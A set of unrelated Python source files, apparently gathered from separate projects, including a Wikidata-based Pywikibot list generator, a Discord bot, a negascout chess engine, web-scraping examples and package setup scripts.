            self.right_child.traverse_in_order(visit)

f = print

def print(adres: Any) -> None:
    if isinstance(adres, BinaryNode):
        f(adres.value)
    else:
        f(adres)


from collections import deque
import sys
input = sys.stdin.readline

def solution() :
    n = int(input())
    cards = deque([i for i in range(1, n+1)])

    while len(cards) != 1 :
        cards.popleft()
        cards.append(cards.popleft())

    print(cards[0])

solution()


#!/usr/bin/python
# -*- coding: utf-8 -*-
"""
An incomplete sample script.

This is a bot to create list of articles about women from pagegenerator

Use global -simulate option for test purposes. No changes to live wiki
will be done.

The following parameters are supported:

-always           The bot won't ask for confirmation when putting a page

-text:            Use this text to be added; otherwise 'Test' is used

-replace:         Don't add text but replace it

-top              Place additional text on top of the page

-summary:         Set the action summary message for the edit.

All settings can be made either by giving option with the command line
or with a settings file which is scripts.ini by default. If you don't
want the default values you can add any option you want to change to
that settings file below the [basic] section like:

    [basic] ; inline comments starts with colon
    # This is a commend line. Assignments may be done with '=' or ':'
    text: A text with line break and
        continuing on next line to be put
    replace: yes ; yes/no, on/off, true/false and 1/0 is also valid
    summary = Bot: My first test edit with pywikibot

Every script has its own section with the script name as header.

In addition the following generators and filters are supported but
cannot be set by settings file:

&params;
"""
#
# (C) Pywikibot team, 2006-2020
#
# Distributed under the terms of the MIT license.
#
import pywikibot
from pywikibot import pagegenerators

from pywikibot.bot import (
    SingleSiteBot, ConfigParserBot, ExistingPageBot, NoRedirectPageBot,
    AutomaticTWSummaryBot)
from pywikibot.tools import PYTHON_VERSION

if PYTHON_VERSION >= (3, 9):
    Tuple = tuple
else:
    from typing import Tuple
import datetime

# This is required for the text that is shown when you run this script
# with the parameter -help.
docuReplacements = {'&params;': pagegenerators.parameterHelp}  # noqa: N816

class BasicBot(
    # Refer pywikobot.bot for generic bot classes
    SingleSiteBot,  # A bot only working on one site
    ConfigParserBot,  # A bot which reads options from scripts.ini setting file
    # CurrentPageBot,  # Sets 'current_page'. Process it in treat_page method.
    #                  # Not needed here because we have subclasses
    ExistingPageBot,  # CurrentPageBot which only treats existing pages
    NoRedirectPageBot,  # CurrentPageBot which only treats non-redirects
    AutomaticTWSummaryBot,  # Automatically defines summary; needs summary_key
):
    """
    An incomplete sample bot.

    @ivar summary_key: Edit summary message key. The message that should be
        used is placed on /i18n subdirectory. The file containing these
        messages should have the same name as the caller script (i.e. basic.py
        in this case). Use summary_key to set a default edit summary message.

    @type summary_key: str
    """

    summary_key = 'basic-changing'

    def __init__(self, generator, **kwargs) -> None:
        """
        Initializer.

        @param generator: the page generator that determines on which pages
            to work
        @type generator: generator
        """
        # Add your own options to the bot and set their defaults
        # -always option is predefined by BaseBot class
        self.available_options.update({
            'replace': False,  # delete old text and write the new text
            'summary': None,  # your own bot summary
            'text': 'Test',  # add this text from option. 'Test' is default
            'top': False,  # append text on top of the page
            'outpage': u'User:mastiBot/test',  # default output page
            'maxlines': 1000,  # default number of entries per page
            'test': False,  # print testoutput
            'progress': False,  # report progress
            'negative': False,  # if True negate behavior i.e. mark pages that DO NOT contain search string
        })

        # call initializer of the super class
        super().__init__(site=True, **kwargs)
        # assign the generator to the bot
        self.generator = generator

    def run(self):
        """TEST"""
        pywikibot.output(u'THIS IS A RUN METHOD')
        outputpage = self.getOption('outpage')
        pywikibot.output(u'OUTPUTPAGE:%s' % outputpage)

        # create structure for output
        arts = {}
        pagecounter = 0

        for p in self.generator:
            if self.getOption('test') or self.getOption('progress'):
                pywikibot.output(u'[%s] Treating #%i: %s' % (
                datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"), pagecounter, p.title()))
                pagecounter += 1

            arts[p.title()] = self.treat(p)

        self.generateresultspage(arts, self.getOption('outpage'), '', '')

    def toMain(self, page):
        # return main namespace object
        #pywikibot.output("toMain NAMESPACE: %i" % page.namespace())
        if page.namespace() == 1:
            return (page.toggleTalkPage())
        else:
            return page

    def treat(self, page) -> None:
        """Load the given page, do some changes, and save it."""
        text = page.text

        ################################################################
        # NOTE: Here you can modify the text in whatever way you want. #
        ################################################################

        page = self.toMain(page)
        #pywikibot.output("NAMESPACE %i" % page.namespace())
        sex = self.checkWomen(page)
        pywikibot.output("PŁEĆ:%s" % sex)
        return(sex)

    def checkWomen(self, art):
        # check if the article is about woman
        # using WikiData
        try:
            d = art.data_item()

            dataItem = d.get()
            claims = dataItem['claims']
        except:
            return ("NO WIKIDATA")
        try:
            gender = claims["P21"]
        except:
            return ("NO GENDER")
        for c in gender:
            cjson = c.toJSON()
            genderclaim = cjson[u'mainsnak'][u'datavalue'][u'value'][u'numeric-id']
            if u'6581072' == str(genderclaim):
                if self.getOption('test'):
                    pywikibot.output(u'%s:Woman' % art.title())
                return ("woman")
            else:
                if self.getOption('test'):
                    pywikibot.output(u'%s:Man' % art.title())
                return ("other")
        return ("NO VALUE")

    def generateresultspage(self, redirlist, pagename, header, footer):
        """
        Generates results page from redirlist
        Starting with header, ending with footer
        Output page is pagename
        """
        finalpage = header
        # res = sorted(redirlist, key=redirlist.__getitem__, reverse=False)
        res = redirlist.keys()
        itemcount = 0

        for i in res:
            if redirlist[i] == 'woman':
                finalpage += '\n# [[%s]]' % i

        finalpage += footer

        outpage = pywikibot.Page(pywikibot.Site(), pagename)
        outpage.text = finalpage

        if self.getOption('test'):
            pywikibot.output(outpage.title())

        outpage.save(summary=self.getOption('summary'))

def main(*args: Tuple[str, ...]) -> None:
    """
    Process command line arguments and invoke bot.

    If args is an empty list, sys.argv is used.

    @param args: command line arguments
    """
    options = {}
    # Process global arguments to determine desired site
    local_args = pywikibot.handle_args(args)

    # This factory is responsible for processing command line arguments
    # that are also used by other scripts and that determine on which pages
    # to work on.
    gen_factory = pagegenerators.GeneratorFactory()

    # Parse command line arguments
    for arg in local_args:

        # Catch the pagegenerators options
        if gen_factory.handleArg(arg):
            continue  # nothing to do here

        # Now pick up your own options
        arg, sep, value = arg.partition(':')
        option = arg[1:]
        if option in ('summary', 'text'):
            if not value:
                pywikibot.input('Please enter a value for ' + arg)
            options[option] = value
        # take the remaining options as booleans.
        # You will get a hint if they aren't pre-defined in your bot class
        else:
            options[option] = True

    # The preloading option is responsible for downloading multiple
    # pages from the wiki simultaneously.
    gen = gen_factory.getCombinedGenerator(preload=True)
    if gen:
        # pass generator and private options to the bot
        bot = BasicBot(gen, **options)
        bot.run()  # guess what it does
    else:
        pywikibot.bot.suggest_help(missing_generator=True)

if __name__ == '__main__':
    main()


"""
MIT License

Copyright (c) 2021 armaanbadhan

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""

import os
import discord
from discord.ext import commands
from keep_alive import keep_alive
from getpref import get_pref
import myembeds

print("Initializing...")

intents = discord.Intents.all()
client = commands.Bot(
    command_prefix=get_pref,
    intents=intents,
    case_insensitive=True,
    help_command=None,
    when_mentioned=True
)

@client.event
async def on_command_error(ctx, error):
    if isinstance(error, commands.CommandNotFound):
        return
    if isinstance(error, commands.MissingPermissions):
        await ctx.send(embed=myembeds.e_miss_perm_admin())
        return
    if isinstance(error, commands.CheckAnyFailure):
        await ctx.send(embed=myembeds.e_miss_perm_role())
        return
    if isinstance(error, commands.NotOwner):
        await ctx.send(embed=myembeds.e_miss_perm_owner())
        return
    print(error)

@client.command()
@commands.is_owner()
async def load(ctx, extension):
    client.load_extension(f"cogs.{extension}")
    await ctx.send(f"**Loaded {extension}**")

@client.command()
@commands.is_owner()
async def unload(ctx, extension):
    client.unload_extension(f"cogs.{extension}")
    await ctx.send(f"**Unloaded {extension}**")

@client.command()
@commands.is_owner()
async def reload(ctx, extension):
    client.reload_extension(f"cogs.{extension}")
    await ctx.send(f"**Reloaded {extension}**")

for filename in os.listdir("./cogs"):
    if filename.endswith(".py"):
        client.load_extension(f"cogs.{filename[:-3]}")

# Run the bot with the token
keep_alive()
client.run(os.getenv('TOKEN'))


from TestDLL import getBitsCount, getPower, numSplit
from random import randint
from time import perf_counter
from Engine import GameState, Move, bbOfRows, bbOfColumns, bbOfCorrections, bbOfCenter, COLORS, CASTLE_SIDES, pieceScores
from multiprocessing import Queue

CHECKMATE = 100000
STALEMATE = 0
DEPTH = 4
R = 1 if DEPTH <= 3 else 2
nextMove = None
counter = 0
hashTableForBestMoves = {}
hashTableForValidMoves = {}
killerMoves = {}
posMargin = {1: 350, 2: 800}

knightPositionScore = [[1, 2, 1, 1, 1, 1, 2, 1],
                       [1, 2, 2, 2, 2, 2, 2, 1],
                       [1, 2, 3, 3, 3, 3, 2, 1],
                       [1, 2, 3, 4, 4, 3, 2, 1],
                       [1, 2, 3, 4, 4, 3, 2, 1],
                       [1, 2, 3, 3, 3, 3, 2, 1],
                       [1, 2, 2, 2, 2, 2, 2, 1],
                       [1, 2, 1, 1, 1, 1, 2, 1]]
bishopPositionScore = [[3, 2, 2, 1, 1, 2, 2, 3],
                       [2, 4, 3, 3, 3, 3, 4, 2],
                       [2, 3, 3, 3, 3, 3, 3, 2],
                       [2, 3, 3, 3, 3, 3, 3, 2],
                       [2, 3, 3, 3, 3, 3, 3, 2],
                       [2, 3, 3, 3, 3, 3, 3, 2],
                       [2, 4, 3, 3, 3, 3, 4, 2],
                       [3, 2, 2, 1, 1, 2, 2, 3]]
queenPositionScore = [[1, 1, 1, 2, 1, 1, 1, 1],
                      [1, 1, 2, 2, 1, 1, 1, 1],
                      [1, 2, 1, 2, 1, 1, 1, 1],
                      [1, 1, 1, 2, 1, 1, 1, 1],
                      [1, 1, 1, 2, 1, 1, 1, 1],
                      [1, 2, 1, 2, 1, 1, 1, 1],
                      [1, 1, 2, 2, 1, 1, 1, 1],
                      [1, 1, 1, 2, 1, 1, 1, 1]]
rookPositionScore = [[3, 3, 3, 3, 3, 3, 3, 3],
                     [2, 2, 2, 2, 2, 2, 2, 2],
                     [2, 2, 2, 2, 2, 2, 2, 2],
                     [1, 2, 2, 2, 2, 2, 2, 1],
                     [1, 2, 2, 2, 2, 2, 2, 1],
                     [2, 2, 2, 2, 2, 2, 2, 2],
                     [2, 2, 2, 2, 2, 2, 2, 2],
                     [3, 3, 3, 3, 3, 3, 3, 3]]
whitePawnPositionScore = [[6, 6, 6, 6, 6, 6, 6, 6],
                          [5, 5, 5, 5, 5, 5, 5, 5],
                          [4, 4, 4, 4, 4, 4, 4, 4],
                          [3, 3, 3, 4, 4, 3, 3, 3],
                          [1, 2, 2, 4, 4, 2, 2, 1],
                          [2, 1, 2, 3, 3, 1, 1, 2],
                          [1, 1, 1, 0, 0, 1, 1, 1],
                          [0, 0, 0, 0, 0, 0, 0, 0]]
blackPawnPositionScore = [[0, 0, 0, 0, 0, 0, 0, 0],
                          [1, 1, 1, 0, 0, 1, 1, 1],
                          [2, 1, 2, 3, 3, 1, 1, 2],
                          [1, 2, 2, 4, 4, 2, 2, 1],
                          [3, 3, 3, 4, 4, 3, 3, 3],
                          [4, 4, 4, 4, 4, 4, 4, 4],
                          [5, 5, 5, 5, 5, 5, 5, 5],
                          [6, 6, 6, 6, 6, 6, 6, 6]]

piecePositionScores = {"Q": queenPositionScore, "R": rookPositionScore, "B": bishopPositionScore,
                       "N": knightPositionScore, "bp": blackPawnPositionScore, "wp": whitePawnPositionScore}

def randomMoveAI(validMoves: list) -> Move:
    return validMoves[randint(0, len(validMoves) - 1)]

def negaScoutMoveAI(gameState: GameState, validMoves: list, returnQ: Queue):
    global nextMove, counter
    nextMove = None
    counter = 0
    start = perf_counter()
    if validMoves is not None:
        if len(validMoves) > 8:
            for d in range(DEPTH):
                currentDepth = d + 1
                score = negaScoutAI(gameState, validMoves, -CHECKMATE - 1, CHECKMATE + 1, 1 if gameState.whiteTurn else -1, currentDepth, currentDepth, len(validMoves))
                if score == CHECKMATE:
                    break
        else:
            negaScoutAI(gameState, validMoves, -CHECKMATE - 1, CHECKMATE + 1, 1 if gameState.whiteTurn else -1, DEPTH, DEPTH, len(validMoves))
    thinkingTime = perf_counter() - start
    returnQ.put((nextMove, thinkingTime, counter))

def oneDepthSearch(gameState: GameState, validMoves: list, turn: int, depth: int):
    for move in validMoves:
        if depth in killerMoves:
            if move.moveID == killerMoves[depth]:
                move.isKiller = True
        if not move.goodScore:
            gameState.makeMove(move)
            move.estimatedScore = turn * scoreBoard(gameState, validMoves)
            gameState.undoMove()

def negaScoutAI(gameState: GameState, validMoves: list, alpha: int, beta: int, turn: int, depth: int, globalDepth: int, globalLength: int):
    global nextMove, counter
    counter += 1
    if depth <= 0 or gameState.checkmate:
        return turn * scoreBoard(gameState, validMoves)
    oneDepthSearch(gameState, validMoves, turn, depth)
    validMoves.sort(key=lambda mov: mov.estimatedScore, reverse=True)
    validMoves.sort(key=lambda mov: mov.isKiller, reverse=True)
    silentMoveCounter = 21
    for move in validMoves:
        if not silentMoveCounter:
            break
        gameState.makeMove(move)
        inTable = False
        score = 0
        if (gameState.boardHash, gameState.whiteTurn) in hashTableForBestMoves:
            if hashTableForBestMoves[(gameState.boardHash, gameState.whiteTurn)][0] >= depth:
                score = hashTableForBestMoves[(gameState.boardHash, gameState.whiteTurn)][1]
                move.goodScore = True
                inTable = True
        if not inTable:
            if (gameState.boardHash, gameState.whiteTurn) in hashTableForValidMoves:
                nextMoves = hashTableForValidMoves[(gameState.boardHash, gameState.whiteTurn)]
            else:
                nextMoves = gameState.getValidMoves()
                hashTableForValidMoves[(gameState.boardHash, gameState.whiteTurn)] = nextMoves
            if depth == DEPTH or move.isCapture or gameState.isWhiteInCheck or gameState.isBlackInCheck:
                score = -negaScoutAI(gameState, nextMoves, -beta, -alpha, -turn, depth - 1, globalDepth, globalLength)
            else:
                silentMoveCounter -= 1
                score = -negaScoutAI(gameState, nextMoves, -alpha - 1, -alpha, -turn, depth - R, globalDepth, globalLength)
                if alpha < score < beta:
                    score = -negaScoutAI(gameState, nextMoves, -beta, -score, -turn, depth - 1, globalDepth, globalLength)
        gameState.undoMove()
        prevAlpha = alpha
        if score > alpha:
            alpha = score
            if (gameState.boardHash, gameState.whiteTurn) in hashTableForBestMoves:
                if depth > hashTableForBestMoves[(gameState.boardHash, gameState.whiteTurn)][0]:
                    hashTableForBestMoves[(gameState.boardHash, gameState.whiteTurn)] = (depth, score)
                if depth == hashTableForBestMoves[(gameState.boardHash, gameState.whiteTurn)][0] and score > hashTableForBestMoves[(gameState.boardHash, gameState.whiteTurn)][1]:
                    hashTableForBestMoves[(gameState.boardHash, gameState.whiteTurn)] = (depth, score)
            else:
                hashTableForBestMoves[(gameState.boardHash, gameState.whiteTurn)] = (depth, score)
            if depth == globalDepth:
                move.exactScore = score
                move.estimatedScore = score
                move.goodScore = True
                nextMove = move
                if depth == DEPTH:
                    print(move, score)
        if alpha >= beta:
            killerMoves[depth] = move.moveID
            break
        if depth <= 2 and globalLength > 8:
            if score <= prevAlpha - posMargin[depth] and not (move.isCapture or gameState.isWhiteInCheck or gameState.isBlackInCheck) and globalDepth >= 4:
                break
    return alpha

def scoreProtectionsAndThreats(gameState: GameState):
    whiteThreats = gameState.bbOfThreats["w"] & gameState.bbOfOccupiedSquares["b"]
    whiteProtections = gameState.bbOfThreats["w"] & gameState.bbOfOccupiedSquares["w"]
    blackThreats = gameState.bbOfThreats["b"] & gameState.bbOfOccupiedSquares["w"]
    blackProtections = gameState.bbOfThreats["b"] & gameState.bbOfOccupiedSquares["b"]
    threatsDifference = getBitsCount(whiteThreats) - getBitsCount(blackThreats)
    protectionsDifference = getBitsCount(whiteProtections) - getBitsCount(blackProtections)
    return threatsDifference * 2 + protectionsDifference * 2

def scoreRookPositioning(gameState: GameState):
    score = 0
    for value in bbOfColumns.values():
        whiteRookPos = value & gameState.bbOfPieces["wR"]
        blackRookPos = value & gameState.bbOfPieces["bR"]
        if whiteRookPos | blackRookPos:
            whitePawnsPos = value & gameState.bbOfPieces["wp"]
            blackPawnsPos = value & gameState.bbOfPieces["bp"]
            whitePawnsCount = getBitsCount(whitePawnsPos)
            blackPawnsCount = getBitsCount(blackPawnsPos)
            if whiteRookPos:
                if blackPawnsCount == 0 and whitePawnsCount == 1:
                    score += 15
                elif whitePawnsCount == 0 and blackPawnsCount >= 1:
                    score += 20
                elif whitePawnsCount + blackPawnsCount == 0:
                    score += 30
            if blackRookPos:
                if whitePawnsCount == 0 and blackPawnsCount == 1:
                    score -= 15
                elif blackPawnsCount == 0 and whitePawnsCount >= 1:
                    score -= 20
                elif whitePawnsCount + blackPawnsCount == 0:
                    score -= 30
    whiteRookRowPos = bbOfRows["7"] & gameState.bbOfPieces["wR"]
    blackRookRowPos = bbOfRows["2"] & gameState.bbOfPieces["bR"]
    if blackRookRowPos:
        rooksCount = getBitsCount(blackRookRowPos)
        score -= rooksCount * 20
    if whiteRookRowPos:
        rooksCount = getBitsCount(whiteRookRowPos)
        score += rooksCount * 20
    whiteSplitPositions = numSplit(gameState.bbOfPieces["wR"])
    blackSplitPositions = numSplit(gameState.bbOfPieces["bR"])
    score += (len(whiteSplitPositions) - len(blackSplitPositions)) * pieceScores["R"]
    for position in whiteSplitPositions:
        pos = getPower(position)
        score += piecePositionScores["R"][pos // 8][pos % 8] * 10
    for position in blackSplitPositions:
        pos = getPower(position)
        score -= piecePositionScores["R"][pos // 8][pos % 8] * 10
    return score

def scoreKnightPositioning(gameState: GameState):
    knightMoves = {"w": 0, "b": 0}
    for color in COLORS:
        piece = color + "N"
        knightMoves[color] |= ((gameState.bbOfPieces[piece] & bbOfCorrections["h"]
                                                            & bbOfCorrections["78"]) << 15)
        knightMoves[color] |= ((gameState.bbOfPieces[piece] & bbOfCorrections["gh"]
                                                            & bbOfCorrections["8"]) << 6)
        knightMoves[color] |= ((gameState.bbOfPieces[piece] & bbOfCorrections["gh"]
                                                            & bbOfCorrections["1"]) >> 10)
        knightMoves[color] |= ((gameState.bbOfPieces[piece] & bbOfCorrections["h"]
                                                            & bbOfCorrections["12"]) >> 17)
        knightMoves[color] |= ((gameState.bbOfPieces[piece] & bbOfCorrections["a"]
                                                            & bbOfCorrections["12"]) >> 15)
        knightMoves[color] |= ((gameState.bbOfPieces[piece] & bbOfCorrections["ab"]
                                                            & bbOfCorrections["1"]) >> 6)
        knightMoves[color] |= ((gameState.bbOfPieces[piece] & bbOfCorrections["ab"]
                                                            & bbOfCorrections["8"]) << 10)
        knightMoves[color] |= ((gameState.bbOfPieces[piece] & bbOfCorrections["a"]
                                                            & bbOfCorrections["78"]) << 17)
    score = (getBitsCount(knightMoves["w"]) - getBitsCount(knightMoves["b"])) * 3
    whiteSplitPositions = numSplit(gameState.bbOfPieces["wN"])
    blackSplitPositions = numSplit(gameState.bbOfPieces["bN"])
    score += (len(whiteSplitPositions) - len(blackSplitPositions)) * pieceScores["N"]
    for position in whiteSplitPositions:
        pos = getPower(position)
        score += piecePositionScores["N"][pos // 8][pos % 8] * 10
    for position in blackSplitPositions:
        pos = getPower(position)
        score -= piecePositionScores["N"][pos // 8][pos % 8] * 10
    return score

def scoreBishopPositioning(gameState: GameState):
    score = 0
    for color in COLORS:
        piece = color + "B"
        enemyColor = "w" if color == "b" else "b"
        diffCount = 1 if color == "w" else -1
        splitPositions = numSplit(gameState.bbOfPieces[piece])
        for splitPosition in splitPositions:
            checkingSq = splitPosition
            while checkingSq & bbOfCorrections["h"] & bbOfCorrections["8"]:
                checkingSq <<= 7
                if checkingSq & gameState.bbOfPieces[f"{color}p"]:
                    break
                if checkingSq & gameState.bbOfPieces[f"{enemyColor}p"]:
                    score += diffCount
                    break
                score += diffCount
            checkingSq = splitPosition
            while checkingSq & bbOfCorrections["h"] & bbOfCorrections["1"]:
                checkingSq >>= 9
                if checkingSq & gameState.bbOfPieces[f"{color}p"]:
                    break
                if checkingSq & gameState.bbOfPieces[f"{enemyColor}p"]:
                    score += diffCount
                    break
                score += diffCount
            checkingSq = splitPosition
            while checkingSq & bbOfCorrections["a"] & bbOfCorrections["1"]:
                checkingSq >>= 7
                if checkingSq & gameState.bbOfPieces[f"{color}p"]:
                    break
                if checkingSq & gameState.bbOfPieces[f"{enemyColor}p"]:
                    score += diffCount
                    break
                score += diffCount
            checkingSq = splitPosition
            while checkingSq & bbOfCorrections["a"] & bbOfCorrections["8"]:
                checkingSq <<= 9
                if checkingSq & gameState.bbOfPieces[f"{color}p"]:
                    break
                if checkingSq & gameState.bbOfPieces[f"{enemyColor}p"]:
                    score += diffCount
                    break
                score += diffCount
    whiteSplitPositions = numSplit(gameState.bbOfPieces["wB"])
    blackSplitPositions = numSplit(gameState.bbOfPieces["bB"])
    score *= 4
    score += (len(whiteSplitPositions) - len(blackSplitPositions)) * pieceScores["B"]
    for position in whiteSplitPositions:
        pos = getPower(position)
        score += piecePositionScores["B"][pos // 8][pos % 8] * 10
    for position in blackSplitPositions:
        pos = getPower(position)
        score -= piecePositionScores["B"][pos // 8][pos % 8] * 10
    return score

def scoreKingSafety(gameState: GameState):
    score = 0
    if gameState.isWhiteCastled:
        score += 50
    if gameState.isBlackCastled:
        score -= 50
    if gameState.isWhiteInCheck:
        score -= 20
    if gameState.isBlackInCheck:
        score += 20
    for key, value in CASTLE_SIDES.items():
        if not gameState.getCastleRight(value):
            if key[0] == "w" and not gameState.isWhiteCastled:
                score -= 70
            elif key[0] == "b" and not gameState.isBlackCastled:
                score += 70
    for value in bbOfColumns.values():
        whiteKingPos = value & gameState.bbOfPieces["wK"]
        blackKingPos = value & gameState.bbOfPieces["bK"]
        if whiteKingPos:
            whitePawnsPos = value & gameState.bbOfPieces["wp"]
            whitePawnsCount = getBitsCount(whitePawnsPos)
            if whitePawnsCount == 0:
                score -= 30
        if blackKingPos:
            blackPawnsPos = value & gameState.bbOfPieces["bp"]
            blackPawnsCount = getBitsCount(blackPawnsPos)
            if blackPawnsCount == 0:
                score += 30
    return score

def scorePawnPositioning(gameState: GameState):
    score = 0
    for value in bbOfColumns.values():
        whitePawnsColumn = value & gameState.bbOfPieces["wp"]
        blackPawnsColumn = value & gameState.bbOfPieces["bp"]
        if (whitePawnsColumn | blackPawnsColumn) - whitePawnsColumn == 0:
            score += 10
        if (whitePawnsColumn | blackPawnsColumn) - blackPawnsColumn == 0:
            score -= 10
        whitePawnsCount = getBitsCount(whitePawnsColumn)
        blackPawnsCount = getBitsCount(blackPawnsColumn)
        if whitePawnsCount == 2:
            score -= 20
        if whitePawnsCount >= 3:
            score -= 30
        if blackPawnsCount == 2:
            score += 20
        if blackPawnsCount >= 3:
            score += 30
    whiteSplitPositions = numSplit(gameState.bbOfPieces["wp"])
    blackSplitPositions = numSplit(gameState.bbOfPieces["bp"])
    score += (len(whiteSplitPositions) - len(blackSplitPositions)) * pieceScores["p"]
    for position in whiteSplitPositions:
        pos = getPower(position)
        score += piecePositionScores["wp"][pos // 8][pos % 8] * 10
    for position in blackSplitPositions:
        pos = getPower(position)
        score -= piecePositionScores["bp"][pos // 8][pos % 8] * 10
    return score

def scoreQueenPositioning(gameState: GameState):
    score = 0
    if len(gameState.gameLog) < 20 and gameState.gameLog[-1].movedPiece[1] == "Q":
        if gameState.whiteTurn:
            score += 20
        else:
            score -= 20
    whiteSplitPositions = numSplit(gameState.bbOfPieces["wQ"])
    blackSplitPositions = numSplit(gameState.bbOfPieces["bQ"])
    score += (len(whiteSplitPositions) - len(blackSplitPositions)) * pieceScores["Q"]
    for position in whiteSplitPositions:
        pos = getPower(position)
        score += piecePositionScores["Q"][pos // 8][pos % 8] * 10
    for position in blackSplitPositions:
        pos = getPower(position)
        score -= piecePositionScores["Q"][pos // 8][pos % 8] * 10
    return score

def scoreCenterControl(gameState: GameState):
    whiteCenterControl = bbOfCenter & gameState.bbOfOccupiedSquares["w"]
    blackCenterControl = bbOfCenter & gameState.bbOfOccupiedSquares["b"]
    return (getBitsCount(whiteCenterControl) - getBitsCount(blackCenterControl)) * 30

pieceAdditionalPositionScores = {"Ks": scoreKingSafety, "Q": scoreQueenPositioning, "R": scoreRookPositioning,
                                 "K": scoreKnightPositioning, "B": scoreBishopPositioning, "p": scorePawnPositioning,
                                 "Cs": scoreCenterControl, "PT": scoreProtectionsAndThreats}

def scoreBoard(gameState: GameState, validMoves: list):
    if gameState.checkmate:
        if gameState.whiteTurn:
            return -CHECKMATE
        else:
            return CHECKMATE
    elif gameState.stalemate:
        return STALEMATE
    score = 0
    if gameState.whiteTurn:
        score += len(validMoves)
    else:
        score -= len(validMoves)
    for value in pieceAdditionalPositionScores.values():
        score += value(gameState)
    return score


from bs4 import BeautifulSoup
import requests

with open('simple.html') as html_file:
    soup = BeautifulSoup(html_file, 'lxml')

'''Prints html file in proper indentation'''
# print(soup.prettify())

'''Gets Title with header'''
# match = soup.title
'''Prints only text of the title'''
# match = soup.title.text

'''Gets first complete div tag'''
# match = soup.div

'''Gets the complete div where class is footer'''
# match = soup.find('div', class_='footer')

article = soup.find('div', class_='article')
print(article)
for article in soup.find_all('div', class_='article'):
    # print(article)

    '''Finds text of the anchor class of h2 inside article class'''
    headline = article.h2.a.text
    print(headline)

    summary = article.p.text
    print(summary)
    print()


import os

import networkx as nx

if __name__ == "__main__":
    path_to_data = os.path.join("data", "email-Eu-core.txt")

    graph = nx.read_edgelist(path_to_data, create_using=nx.DiGraph)
    graph.remove_edges_from(list(nx.selfloop_edges(graph)))

    conn_comp = list(map(lambda x: (x, len(x)), nx.algorithms.strongly_connected_components(graph)))
    conn_comp.sort(reverse=True, key=lambda x: x[1])

    subg = graph.subgraph(conn_comp[0][0])

    nx.write_edgelist(subg, os.path.join(os.path.dirname(path_to_data), "simplified.txt"), encoding="utf-8", data=False)


from selenium import webdriver
# from selenium.webdriver.common.keys import Keys
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException

from bs4 import BeautifulSoup
import urllib.request

class CraiglistScraper(object):
	def __init__(self, location, postal, max_price, radius):
		self.location = location
		self.postal = postal
		self.max_price = max_price
		self.radius = radius
		self.driver = webdriver.Chrome('/home/refuge/code/scraping/soup/chromedriver')
		self.delay = 3
		self.url = "https://%s.craigslist.org/search/sss?search_distance=%s&postal=%s&max_price=%s" %(location,postal,radius,max_price)

	def load_craigslist(self):
		self.driver.get(self.url)
		try:
			wait = WebDriverWait(self.driver, self.delay)
			wait.until(EC.presence_of_element_located((By.ID, "searchform")))
			print("pag is ready")
		except TimeoutException:
			print("Location took too much time")

	def extract_post_infomation(self):
		all_posts = self.driver.find_elements_by_class_name("result-row")

		dates = []
		titles = []
		prices = []

		for post in all_posts:
			title = post.text.split("$")
			# print(title)
			if title[0] == '':
				title = title[1]
			else:
				title = title[0]
			title = title.split("\n")
			price = title[0]
			title = title[-1]

			title = title.split(" ")
			month = title[0]
			day = title[1]
			title = ' '.join(title[2:])
			date = month + " " + day

			# print("PRICE: " + price)
			# print("TITLE: " + title)
			# print("DATE: " + date)

			# storing them in alist
			titles.append(title)
			prices.append(price)
			dates.append(date)
		return titles, prices, dates

	def extract_post_urls(self):
		url_list = []
		html_page = urllib.request.urlopen(self.url)
		soup = BeautifulSoup(html_page, "lxml")
		# get the url plus the class
		for link in soup.findAll("a", {"class": "result-title hdrlnk"}):
			# only grabing the href
			print(link["href"])
			url_list.append(link["href"])
		return url_list

	def quit(self):
		self.driver.close()

location = "sfbay"
postal = "94201"
max_price = "500"
radius = "5"
scraper = CraiglistScraper(location, postal, max_price, radius)
scraper.load_craigslist()
titles, prices, dates, = scraper.extract_post_infomation()
print(dates)
# scraper.extract_post_urls()
# scraper.quit()


from setuptools import setup, find_packages
import codecs
import os

here = os.path.abspath(os.path.dirname(__file__))

with codecs.open(os.path.join(here, "README.md"), encoding="utf-8") as fh:
    long_description = "\n" + fh.read()

VERSION = '0.0.2'
DESCRIPTION = 'Solver para sistema linear de equações algébricas'
LONG_DESCRIPTION = 'Use "from Solveq import *" para importar a biblioteca e "exemplo1()" para ver um exemplo de uso'

# Setting up
setup(
    name="Solveq",
    version=VERSION,
    author=["Rogério","Amanda"],
    author_email="<pazetto1998@gmail.com>",
    description=DESCRIPTION,
    long_description_content_type="text/markdown",
    long_description=long_description,
    packages=find_packages(),
    install_requires=[],
    keywords=['python', 'equação', 'sistema', 'solver', 'linear'],
    classifiers=[
        "Development Status :: 1 - Planning",
        "Intended Audience :: Developers",
        "Programming Language :: Python :: 3",
        "Operating System :: Unix",
        "Operating System :: MacOS :: MacOS X",
        "Operating System :: Microsoft :: Windows",
    ]
)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
import sys
import re
from setuptools import setup, find_packages

if sys.argv[-1] == 'publish':
    os.system('python3 setup.py sdist')
    os.system('twine upload dist/*')
    sys.exit()

def readme():
    with open('README.rst') as readme_file:
        return readme_file.read()

def find_version():
    with open('ctfile/__init__.py', 'r') as fd:
        version = re.search(r'^__version__\s*=\s*[\'"]([^\'"]*)[\'"]',
                            fd.read(), re.MULTILINE).group(1)
    if not version:
        raise RuntimeError('Cannot find version information')
    return version

